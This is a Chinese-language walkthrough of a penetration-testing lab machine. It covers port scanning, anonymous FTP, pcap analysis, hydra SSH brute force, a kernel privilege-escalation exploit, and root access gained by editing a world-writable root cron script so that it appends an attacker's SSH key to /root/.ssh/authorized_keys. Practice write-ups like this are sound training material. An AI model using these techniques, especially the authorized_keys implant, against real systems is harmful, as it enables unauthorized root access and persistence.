信息收集
主机探测
arp-scan -l
扫端口
nmap -Pn -sV 192.168.184.135
开放了21ftp,22ssh,80http端口
这里通过ftp登录,发现告诉了用户名,密码直接猜没有
登录后,发现有一个lol.pcap流量包,下载到本地分析
在流量包发现了一句话
好吧,好吧,好吧,你不是一个聪明的小恶魔吗,你差点找到Sup3rs3cr3tdirol:-P
没啥信息了,打开靶机80端口,就一张图片
扫完目录发现robots.txt和secret目录
结果robots.txt提示的就是secret目录,而且secret目录也还是一张图片
猜测Sup3rs3cr3tdirol
是个目录
下载文件后发现是个elf二进制文件,丢到ida
发现一句话
我还以为是逆向题,结果就是找0x0856BF
这个目录
which_one_lol.txt
应该是ssh的登录用户名
Pass.txt
渗透
通过hydra爆破没爆出来,看wp才知道文件名Pass.txt
是密码
hydra -L user.txt -p Pass.txt ssh://192.168.184.135
ssh登录
内核提权
查看内核
Ubuntu 14.04 Linux Kernel 3.13
下载exp文件
将文件挂在python的简易服务上
python3 -m http.server
在目标机下载exp文件,gcc编译后运行
提权成功,查找proof.txt
渗透完成
定时任务提权
看wp的
SSH登录靶机之后,发现无操作几分钟后,会话自动断开,原因可能是设置了计划任务。进而查看相应日志/var/log/cronlog
发现有个cleaner.py
find / -name cleaner.py 2>/dev/null
cleaner.py具有root权限,并且所有人都能修改这个文件
使用ssh-keygen(用来生成ssh公钥认证所需的公钥和私钥文件) 目录默认、密码Pass.txt、反复输入密码即可在/root/.ssh/目录生成pub文件
id_ed25519.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEGqSe88EBJ3r5xtIzaQLuhPvpZFFjhQoBQNfV6gZsMD root@localhost
在目标机上修改cleaner.py文件
os.system('mkdir /root/.ssh; chmod 775 .ssh; echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEGqSe88EBJ3r5xtIzaQLuhPvpZFFjhQoBQNfV6gZsMD root@localhost" >> /root/.ssh/authorized_keys')
这段代码的作用是在 /root/.ssh 目录下创建 SSH 目录,设置相应的权限,并将给定的 SSH 公钥内容追加到 authorized_keys 文件中,从而允许使用该公钥来进行 SSH 登录认证。
定时任务执行后
通过ssh root@ip
,用Pass.txt
登录
root权限
渗透完成
总结
1.ftp匿名情况利用
2.流量包的分析
3.hydra爆破
4.linux内核提权
5.通过修改定时任务cleaner.py
,通过命令将ssh-keygen的追加到authorized_keys文件中,以允许SSH密钥身份验证